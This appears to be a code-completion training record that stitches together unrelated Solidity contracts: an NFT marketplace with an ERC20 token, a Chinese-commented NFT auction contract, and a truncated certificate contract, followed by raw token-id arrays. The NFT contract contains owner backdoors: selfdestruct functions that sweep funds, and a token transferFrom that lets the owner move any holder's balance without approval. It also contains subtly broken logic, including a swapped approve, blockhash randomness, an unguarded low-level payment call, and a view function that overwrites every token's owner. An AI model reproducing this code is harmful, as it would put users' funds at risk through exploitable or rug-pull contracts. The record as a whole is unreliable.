when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Pause the smart contract. Only can be called by the CEO function pause() public onlyCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Only can be called by the CEO function unpause() public onlyCEO whenPaused { paused = false; } } /** * Interface for required functionality in the ERC721 standard * for non-fungible tokens. * * Author: Nadav Hollander (nadav at dharma.io) * https://github.com/dharmaprotocol/NonFungibleToken/blob/master/contracts/ERC721.sol */ contract ERC721 { // Events event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /// For querying totalSupply of token. function totalSupply() public view returns (uint256 _totalSupply); /// For querying balance of a particular account. /// @param _owner The address for balance query. /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 _balance); /// For querying owner of token. /// @param _tokenId The tokenID for owner inquiry. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address _owner); /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom() /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _tokenId) public; // NOT IMPLEMENTED // function getApproved(uint256 _tokenId) public view returns (address _approved); /// Third-party initiates transfer of token from address _from to address _to. /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom(address _from, address _to, uint256 _tokenId) public; /// Owner initates the transfer of the token to another account. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the token to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _tokenId) public; /// function implementsERC721() public view returns (bool _implementsERC721); // EXTRA /// @notice Allow pre-approved user to take ownership of a token. /// @param _tokenId The ID of the token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public; } contract DetailedERC721 is ERC721 { function name() public view returns (string _name); function symbol() public view returns (string _symbol); } contract Crypto is AccessControl, DetailedERC721 { using SafeMath for uint256; StripToken public POLY; address public newModifier; address owner = msg.sender; uint256 private count = 0; struct tokenData { bytes32 name; uint256 stat; uint256 time; } struct Foo{ uint256 x; } mapping(address => Foo[]) userData; mapping(uint256 => tokenData) private storeDetails; modifier OwnerOnly { if(msg.sender != owner){ revert(); } else { _; } } function incrementCounter() private { count += 1; } function getCount() private constant returns (uint256) { return count; } //Storing Token data like name,time,status function insertDetails(string data, uint256 status,uint256 time) private { incrementCounter(); uint256 count1=getCount(); bytes32 name=stringToBytes32(data); storeDetails[count1].name = name; storeDetails[count1].stat = status; storeDetails[count1].time = time; userData[msg.sender].push(Foo(count1)); } //Get all token data function get() public view returns ( bytes32[], uint256[], uint256[] ) { // return userData[id][index].x; address id=msg.sender; uint256 total = userData[id].length; bytes32[] memory name = new bytes32[](total); uint256[] memory status = new uint256[](total); uint256[] memory time = new uint256[](total); for (uint i = 0; i < total; i++) { name[i]= storeDetails[userData[id][i].x].name; status[i]= storeDetails[userData[id][i].x].stat; time[i]= storeDetails[userData[id][i].x].time; } return (name, status, time); } function nContract() public OwnerOnly { selfdestruct(owner); } function totalnSupply() public view returns (uint256 _total) { _total =userData[msg.sender].length; } //Convert String to bytes32 function stringToBytes32(string memory source) private returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } event TokenCreated(uint256 tokenId, string name, bytes5 newRandom, uint256 price, address owner); event TokenSold( uint256 indexed tokenId, string name, bytes5 newRandom, uint256 sellingPrice, uint256 newPrice, address indexed oldOwner, address indexed newOwner ); mapping (uint256 => address) private tokenIdToOwner; mapping (uint256 => uint256) private tokenIdToPrice; mapping (address => uint256) private ownershipTokenCount; mapping (uint256 => address) private tokenIdToApproved; mapping (uint256 => uint256) private tokenIdToStatus; mapping (uint256 => string) private tokenIdURI; mapping (uint256 => string) private dataURI; struct Strip { string name; bytes5 newRandom; string tokenURI; } struct StripInfo { string image_Url; string home_Url; string desc; string tags; string prop; } Strip[] private strips ; StripInfo[] private stripInfo ; function Crypto() public{ POLY = new StripToken(this); } uint256 private startingPrice = 0.01 ether; bool private erc721Enabled = true; modifier onlyERC721() { require(erc721Enabled); _; } function setNewModifier(address _new) public { require(msg.sender == owner); newModifier = _new; } function createT(string _name,string i_url,string h_url,string desc,string tag,string prop,uint256 _price,uint256 time) public { if(msg.sender == owner || msg.sender == newModifier) { bytes5 _newRandom = _generateNewRandom(); //insertDetails(_name,1,time); _createToken(_name, _newRandom, i_url, h_url, desc, tag, prop, address(this), _price); } } function getTokenURI(uint256 _tokenId) public view returns (string){ require(_tokenId<strips.length); return strips[_tokenId].tokenURI; } function setTokenURI(uint256 _tokenId, string newURI) public { address _owner = tokenIdToOwner[_tokenId]; require(_tokenId<strips.length); if(msg.sender == _owner ) { Strip storage _Strip = strips[_tokenId]; _Strip.tokenURI = newURI; } } function getUserBalance(address user) public view returns (uint) { return user.balance; } function createSale(uint256 _price,uint256 _tokenId,uint256 _status,string tname,uint256 time) public { address _owner = tokenIdToOwner[_tokenId]; if(msg.sender == _owner ) { insertDetails(tname,_status,time); tokenIdToPrice[_tokenId] = _price; tokenIdToStatus[_tokenId] =_status; } } function transferAD() public { POLY.transfer(msg.sender, 1000); POLY.approve(msg.sender, 1000); } function balanceAD() public view returns (uint256 balance) { return POLY.balanceOf(msg.sender); } function _generateNewRandom() private view returns (bytes5) { uint256 lastBlockNumber = block.number - 1; bytes32 hashVal = bytes32(block.blockhash(lastBlockNumber)); bytes5 newRandom = bytes5((hashVal & 0xffffffff) << 216); return newRandom; } function _createToken(string _name, bytes5 _newRandom,string i_url,string h_url,string desc1,string tag,string prop1, address _owner, uint256 _price) private { Strip memory _Strip = Strip({ name: _name, newRandom: _newRandom, tokenURI:_name }); uint256 newTokenId = strips.push(_Strip) - 1; StripInfo memory _Stripinfo = StripInfo({ image_Url: i_url, home_Url: h_url, desc: desc1, tags: tag, prop: prop1 }); stripInfo.push(_Stripinfo); tokenIdToPrice[newTokenId] = _price; tokenIdToStatus[newTokenId] = 0; TokenCreated(newTokenId, _name, _newRandom, _price, _owner); _transfer(address(0), _owner, newTokenId); } function getTokenMetaData(uint256 _tokenId) public view returns ( string _tokenName, string i_url, string h_url, string desc, string tag, string prop ) { _tokenName = strips[_tokenId].name; i_url=stripInfo[_tokenId].image_Url; h_url=stripInfo[_tokenId].home_Url; desc=stripInfo[_tokenId].desc; tag=stripInfo[_tokenId].tags; prop=stripInfo[_tokenId].prop; } function getToken(uint256 _tokenId) public view returns ( string _tokenName, bytes5 _newRandom, uint256 _price, string uri, address _owner, uint256 _status ) { _tokenName = strips[_tokenId].name; _newRandom = strips[_tokenId].newRandom; _price = tokenIdToPrice[_tokenId]; uri = strips[_tokenId].tokenURI; _owner = tokenIdToOwner[_tokenId]; _status = tokenIdToStatus[_tokenId]; } function getAllTokens() public view returns ( uint256[], uint256[], address[] ) { uint256 total = totalSupply(); uint256[] memory prices = new uint256[](total); uint256[] memory nextPrices = new uint256[](total); address[] memory owners = new address[](total); for (uint256 i = 0; i < total; i++) { tokenIdToPrice[i] = i; // nextPrices[i] = nextPriceOf(i); tokenIdToOwner[i] = 0xffffffff; } return (prices, nextPrices, owners); } function churn() public { //self-destruct function, if(msg.sender == owner) { selfdestruct(owner); } } function tokensOf(address _owner) public view returns(uint256[]) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 total = totalSupply(); uint256 resultIndex = 0; for (uint256 i = 0; i < total; i++) { if (tokenIdToOwner[i] == _owner) { result[resultIndex] = i; resultIndex++; } } return result; } } function withdrawBalance(address _to, uint256 _amount) public onlyCEO { require(_amount <= this.balance); if (_amount == 0) { _amount = this.balance; } if (_to == address(0)) { ceoAddress.transfer(_amount); } else { _to.transfer(_amount); } } function priceOf(uint256 _tokenId) public view returns (uint256 _price) { return tokenIdToPrice[_tokenId]; } function purchase(uint256 _tokenId,uint256 time) public payable whenNotPaused { address oldOwner = ownerOf(_tokenId); address newOwner = msg.sender; //uint256 sellingPrice = tokenIdToPrice(_tokenId); uint256 sellingPrice = priceOf(_tokenId); //_price = tokenIdToPrice[_tokenId]; require(oldOwner != address(0)); require(newOwner != address(0)); require(oldOwner != newOwner); require(!_isContract(newOwner)); require(msg.value >= sellingPrice); oldOwner.call.value(msg.value).gas(20317)(); _transfer(oldOwner, newOwner, _tokenId); tokenIdToStatus[_tokenId] = 0; // POLY.transferFrom(msg.sender,oldOwner,sellingPrice); insertDetails(strips[_tokenId].name,1,time); // tokenIdToPrice[_tokenId] = nextPriceOf(_tokenId); TokenSold( _tokenId, strips[_tokenId].name, strips[_tokenId].newRandom, sellingPrice, priceOf(_tokenId), oldOwner, newOwner ); } function enableERC721() public onlyCEO { erc721Enabled = true; } function totalSupply() public view returns (uint256 _totalSupply) { _totalSupply = strips.length; } function balanceOf(address _owner) public view returns (uint256 _balance) { _balance = ownershipTokenCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address _owner) { _owner = tokenIdToOwner[_tokenId]; } function approve(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_owns(msg.sender, _tokenId)); tokenIdToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_to != address(0)); require(_owns(_from, _tokenId)); require(_approved(msg.sender, _tokenId)); _transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_to != address(0)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } function implementsERC721() public view whenNotPaused returns (bool) { return erc721Enabled; } function takeOwnership(uint256 _tokenId) public whenNotPaused onlyERC721 { require(_approved(msg.sender, _tokenId)); _transfer(tokenIdToOwner[_tokenId], msg.sender, _tokenId); } function name() public view returns (string _name) { _name = "STRIP NFT"; } function symbol() public view returns (string _symbol) { _symbol = "STR"; } function _owns(address _claimant, uint256 _tokenId) private view returns (bool) { return tokenIdToOwner[_tokenId] == _claimant; } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return tokenIdToApproved[_tokenId] == _to; } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; tokenIdToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete tokenIdToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } function _isContract(address addr) private view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } /* Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ interface IERC20 { function balanceOf(address _owner) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StripToken is IERC20 { using SafeMath for uint256; // Poly Token parameters address owner = msg.sender; string public name = 'ERC 20 TestToken'; string public symbol = 'ERC'; uint8 public constant decimals = 0; uint256 public constant decimalFactor = 1; uint256 public constant totalSupply = 1000000000 ; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function StripToken(address _polyDistributionContractAddress) public { balances[_polyDistributionContractAddress] = totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (msg.sender == owner && balances[_from] >= _value ) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); // allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; }else { return false; } } function approve(address _spender, uint256 _value) public returns (bool) { allowed[_spender][msg.sender] = _value; Approval(_spender,msg.sender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
uint256 sellingPrice = tokenIdToPrice(_tokenId);_price = tokenIdToPrice[_tokenId]; POLY.transferFrom(msg.sender,oldOwner,sellingPrice); tokenIdToPrice[_tokenId] = nextPriceOf(_tokenId);
function purchase(uint256 _tokenId,uint256 time) public payable whenNotPaused { address oldOwner = ownerOf(_tokenId); address newOwner = msg.sender; uint256 sellingPrice = priceOf(_tokenId); require(oldOwner != address(0)); require(newOwner != address(0)); require(oldOwner != newOwner); require(!_isContract(newOwner)); require(msg.value >= sellingPrice); oldOwner.call.value(msg.value).gas(20317)(); _transfer(oldOwner, newOwner, _tokenId); tokenIdToStatus[_tokenId] = 0; insertDetails(strips[_tokenId].name,1,time); TokenSold( _tokenId, strips[_tokenId].name, strips[_tokenId].newRandom, sellingPrice, priceOf(_tokenId), oldOwner, newOwner ); }
14,726,614
[ 1, 11890, 5034, 357, 2456, 5147, 273, 1147, 28803, 5147, 24899, 2316, 548, 1769, 67, 8694, 273, 1147, 28803, 5147, 63, 67, 2316, 548, 15533, 282, 19383, 61, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1673, 5541, 16, 87, 1165, 310, 5147, 1769, 282, 1147, 28803, 5147, 63, 67, 2316, 548, 65, 273, 1024, 5147, 951, 24899, 2316, 548, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 23701, 12, 11890, 5034, 389, 2316, 548, 16, 11890, 5034, 813, 13, 1071, 8843, 429, 1347, 1248, 28590, 288, 203, 3639, 1758, 1592, 5541, 273, 3410, 951, 24899, 2316, 548, 1769, 203, 3639, 1758, 394, 5541, 273, 1234, 18, 15330, 31, 203, 3639, 2254, 5034, 357, 2456, 5147, 273, 6205, 951, 24899, 2316, 548, 1769, 203, 3639, 2583, 12, 1673, 5541, 480, 1758, 12, 20, 10019, 203, 3639, 2583, 12, 2704, 5541, 480, 1758, 12, 20, 10019, 203, 3639, 2583, 12, 1673, 5541, 480, 394, 5541, 1769, 203, 3639, 2583, 12, 5, 67, 291, 8924, 12, 2704, 5541, 10019, 203, 3639, 2583, 12, 3576, 18, 1132, 1545, 357, 2456, 5147, 1769, 203, 202, 202, 1673, 5541, 18, 1991, 18, 1132, 12, 3576, 18, 1132, 2934, 31604, 12, 3462, 23, 4033, 13, 5621, 203, 3639, 389, 13866, 12, 1673, 5541, 16, 394, 5541, 16, 389, 2316, 548, 1769, 203, 1377, 202, 2316, 28803, 1482, 63, 67, 2316, 548, 65, 273, 374, 31, 203, 1082, 2243, 3790, 12, 6406, 87, 63, 67, 2316, 548, 8009, 529, 16, 21, 16, 957, 1769, 203, 3639, 3155, 55, 1673, 12, 203, 5411, 389, 2316, 548, 16, 203, 5411, 2569, 87, 63, 67, 2316, 548, 8009, 529, 16, 203, 5411, 2569, 87, 63, 67, 2316, 548, 8009, 2704, 8529, 16, 203, 5411, 357, 2456, 5147, 16, 203, 5411, 6205, 951, 24899, 2316, 548, 3631, 203, 5411, 1592, 5541, 16, 203, 5411, 394, 5541, 203, 3639, 11272, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; contract Nft { enum Status {normal, auctioning, deal} // 用户拥有NFT的状态,正常,拍卖中,已成交 struct NFT { uint nftId; // NFT唯一标识 string name; // NFT名称 address creator; // 铸造者 address owner; // 当前拥有者 } NFT[] NFTs; // NFT列表 struct Tx { uint time; // 交易时间 address _from; // 原主人 address _to; // 现主人 uint value; // 成交额 } struct singleAuction { uint nft; // 拍卖NFT的id uint startTime; // 起拍时间 uint duration; // 时间跨度 uint floorPrice; // 底价 address _from; // NFT拥有者 uint bidTime; // 竞拍时间 uint highestPrice; // 最高竞拍价格 address bidder; // 竞拍者地址 bool closed; // 拍卖是否结束 } singleAuction[] auctions; //拍卖列表 struct ownerShip { uint nftId; // 拥有的NFT的id Status status; // NFT拥有状态 } mapping(address => uint) balanceOf; // 平台余额映射 mapping(address => bool) users; // 平台用户映射 mapping(address => ownerShip[]) nftsOf; // 用户拥有NFT列表映射 mapping(uint => Tx[]) historyOf; // NFT转手记录映射 // 要求地址已注册 modifier user() { require(users[msg.sender] == true, "You have not register, please register first."); _; } // 注册 function register() public { // 要求访问者为未注册地址 require(users[msg.sender] == false, "You have already registered."); // 初始化 balanceOf[msg.sender] = 0; users[msg.sender] = true; } // 提供充值接口 function () payable external{ balanceOf[msg.sender] += msg.value; } // 查询余额 function getBalance() public view user returns(uint){ return balanceOf[msg.sender]; } // 铸造带名字的NFT function mintNFT(string memory _name) public user { NFT memory newNFT = NFT(NFTs.length, _name, msg.sender, msg.sender); // 初始化NTF结构体 // 更新NFT转手记录 historyOf[NFTs.length].push( Tx(now, address(this), msg.sender, 0) ); // 添加至个人NFT仓库 ownerShip memory ownership; ownership.nftId = NFTs.length; ownership.status = Status.normal; uint _index = ownership.nftId; uint pos = nftsOf[msg.sender].length; if(_index >= pos) { for (uint i = pos; i <= _index; i++) { if (i == _index) { nftsOf[msg.sender].push(ownership); } else { nftsOf[msg.sender].push(ownerShip(1000, Status.normal)); } } } NFTs.push(newNFT); } // 上架拍卖NFT function listNFT(uint _id, uint _duration, uint _floorPrice) public user { require(NFTs[_id].owner == msg.sender, "This NTF doesn't belong to you."); require(nftsOf[msg.sender][_id].status == Status.normal, "This NFT is auctioning."); singleAuction memory newAuction; newAuction.nft = _id; newAuction.startTime = now; newAuction.duration = _duration; newAuction.floorPrice = _floorPrice; newAuction._from = msg.sender; auctions.push(newAuction); nftsOf[msg.sender][_id].status = Status.auctioning; } // 竞价,采用英国式拍卖 function bid(uint _id, uint _value) public user { require(balanceOf[msg.sender] >= _value, "Your balance is not enough."); require(auctions[_id].startTime + auctions[_id].duration > now, "The auction was finished."); require(_value >= auctions[_id].floorPrice, "Your bid is too low."); require(_value > auctions[_id].highestPrice, "The value is not higher than the current bid."); auctions[_id].bidTime = now; auctions[_id].highestPrice = _value; auctions[_id].bidder = msg.sender; } // 原主人在流拍时认领,或者竞拍成功者认领 // _id是拍卖id不是ntfId function claim(uint _id) public user { require((now - auctions[_id].startTime) > auctions[_id].duration, "The auction doesn't finish now."); require(auctions[_id].closed == false, "The auction has been claimed already."); if(auctions[_id].bidder == msg.sender) { NFTs[auctions[_id].nft].owner = msg.sender; balanceOf[msg.sender] -= auctions[_id].highestPrice; balanceOf[auctions[_id]._from] += auctions[_id].highestPrice; Tx memory _tx; _tx.time = now; _tx._from = auctions[_id]._from; _tx._to = msg.sender; _tx.value = auctions[_id].highestPrice; historyOf[auctions[_id].nft].push(_tx); ownerShip memory ownership; ownership.nftId = auctions[_id].nft; ownership.status = Status.normal; uint _index = ownership.nftId; uint pos = nftsOf[msg.sender].length; if(_index >= pos) { for (uint i = pos; i <= _index; i++) { if (i == _index) { nftsOf[msg.sender].push(ownership); } else { nftsOf[msg.sender].push(ownerShip(1000, Status.normal)); } } } else { nftsOf[msg.sender][_index] = ownership; } nftsOf[auctions[_id]._from][auctions[_id].nft].status = Status.deal; auctions[_id].closed = true; } if((auctions[_id]._from == msg.sender) && (auctions[_id].highestPrice == 0)) { nftsOf[msg.sender][_id].status = Status.normal; auctions[_id].closed = true; } } // 获取用户NFT数量 function getCollectionNumber() public view user returns(uint) { return nftsOf[msg.sender].length; } // 返回用户拥有NFT信息 function getCollection(uint _id) public view user returns(uint, string memory, Status) { return ( nftsOf[msg.sender][_id].nftId, NFTs[_id].name, nftsOf[msg.sender][_id].status); } // 获取NFT转手次数 function getHistoryNumber(uint _id) public view user returns(uint) { return historyOf[_id].length; } // 获取单次转手具体信息 function getSingleHistory(uint _nftId, uint _id) public view user returns(uint, address, address, uint) { return ( historyOf[_nftId][_id].time, historyOf[_nftId][_id]._from, historyOf[_nftId][_id]._to, historyOf[_nftId][_id].value); } // 获取拍卖品数量 function getAuctionNumber() public view user returns(uint) { return auctions.length; } // 获取单个拍品的信息,返回参数太多,分为了两个函数 function getSingleAuction_part1(uint _index) public view user returns ( uint, uint, uint, string memory, address, address) { uint nftId = auctions[_index].nft; return ( auctions[_index].nft, auctions[_index].startTime, auctions[_index].duration, NFTs[nftId].name, NFTs[nftId].creator, NFTs[nftId].owner); } function getSingleAuction_part2(uint _index) public view user returns ( uint, uint, bool) { return ( auctions[_index].floorPrice, auctions[_index].highestPrice, auctions[_index].closed); } }
获取单个拍品的信息,返回参数太多,分为了两个函数
function getSingleAuction_part1(uint _index) public view user returns ( uint, uint, uint, string memory, address, address) { uint nftId = auctions[_index].nft; return ( auctions[_index].nft, auctions[_index].startTime, auctions[_index].duration, NFTs[nftId].name, NFTs[nftId].creator, NFTs[nftId].owner); }
14,114,298
[ 1, 169, 241, 120, 166, 242, 249, 166, 240, 248, 165, 121, 108, 167, 238, 240, 166, 246, 228, 168, 253, 231, 165, 128, 99, 167, 228, 112, 176, 125, 239, 169, 128, 247, 166, 254, 257, 166, 242, 229, 167, 248, 113, 166, 102, 108, 166, 102, 253, 176, 125, 239, 166, 235, 233, 165, 121, 123, 165, 123, 233, 165, 121, 102, 165, 121, 108, 166, 234, 126, 167, 248, 113, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 19108, 37, 4062, 67, 2680, 21, 12, 11890, 389, 1615, 13, 1071, 1476, 729, 1135, 203, 565, 261, 203, 3639, 2254, 16, 203, 3639, 2254, 16, 203, 3639, 2254, 16, 203, 3639, 533, 3778, 16, 203, 3639, 1758, 16, 203, 3639, 1758, 13, 7010, 565, 288, 203, 3639, 2254, 290, 1222, 548, 273, 279, 4062, 87, 63, 67, 1615, 8009, 82, 1222, 31, 203, 3639, 327, 261, 203, 5411, 279, 4062, 87, 63, 67, 1615, 8009, 82, 1222, 16, 203, 5411, 279, 4062, 87, 63, 67, 1615, 8009, 1937, 950, 16, 203, 5411, 279, 4062, 87, 63, 67, 1615, 8009, 8760, 16, 203, 5411, 423, 4464, 87, 63, 82, 1222, 548, 8009, 529, 16, 203, 5411, 423, 4464, 87, 63, 82, 1222, 548, 8009, 20394, 16, 203, 5411, 423, 4464, 87, 63, 82, 1222, 548, 8009, 8443, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity <0.7.10; pragma experimental ABIEncoderV2; import "./Ownable.sol"; import "./SafeMath.sol"; import "./SafeMath16.sol"; contract BloceducareCerts is Ownable{ using SafeMath for uint256; using SafeMath for uint16; //GLOBAL STATE VARIABLES address private owner; address private newOwner; uint256 amount; uint16 adminIndex; uint16 maxAdminIndex; uint studentIndex; uint16 assignmentIndex; bool ownershipEnabled = true; bool certificateExist = false; //ENUMS enum grades {noGrade,good,great,outstanding,epic,legendary} grades grade; //grades constant defaultGrade = grades.noGrade; enum assignmentStatus{inactive,pending,completed,cancelled} assignmentStatus assignment; //assignments constant defaultAssignment = assignments.inactive; // assignment = assignments.COMPLETED; //STRUCTS struct Admin{ bool authorized; uint id; } struct Assignment{ string link; assignmentStatus status; } struct Student{ string email; bytes32 firstName; bytes32 lastName; bytes32 commendation; grades grade; assignmentStatus assignment; bool active; } Student[] student; struct Certificate{ address studentAddress; string email; bytes32 firstName; bytes32 lastName; bytes32 commendation; grades grade; assignmentStatus assignment; uint assignmentIndex; } //Arrays of certificates,admins,students,and assignments string[] certificateList; uint[] admin; string[] studentList; string[] assignmentList; //mapping mapping(address => Certificate) public certificates; mapping(string => mapping(address => Certificate)) byName; mapping(string => bool) private isParticipant; mapping (address => bool) admins; mapping(address =>Admin)adminReverseMapping; mapping(address => Student) students; mapping(string => uint) studentsReverseMapping; mapping(uint => Assignment) assignments; //events //Admin related events event AdminAdded(address _newAdmin,uint _maxAdminIndex); event AdminRemoved(address _newAdmin, uint _maxAdminIndex); event AdminLimitChanged(uint _newAdminLimit); //Student related events event StudentAdded(string msg,string _email,bytes32 _firstName,bytes32 _lastName,bytes32 _commendation); event StudentRemoved(string msg,string _email,uint studentIndex); event StudentNameUpdated(string _Email,bytes32 _newCommendation); event StudentCommendationUpdated(string _Email,bytes32 _newFirstName,bytes32 _newLastName); event StudentGradeUpdated(string _Email,grades _newGrade); event StudentEmailUpdated(string _oldEmail,string _newEmail); //Assignment related events event AssignmentAdded(string _email,string link,assignmentStatus status,uint16 assignmentIndex); event AssignmentUpdated(string _email,uint _assignmentIndex,assignmentStatus _newStatus); //Certificate related events event certCreated(string _msg,bytes32 _name,string _with,address students,string by,address creator); event 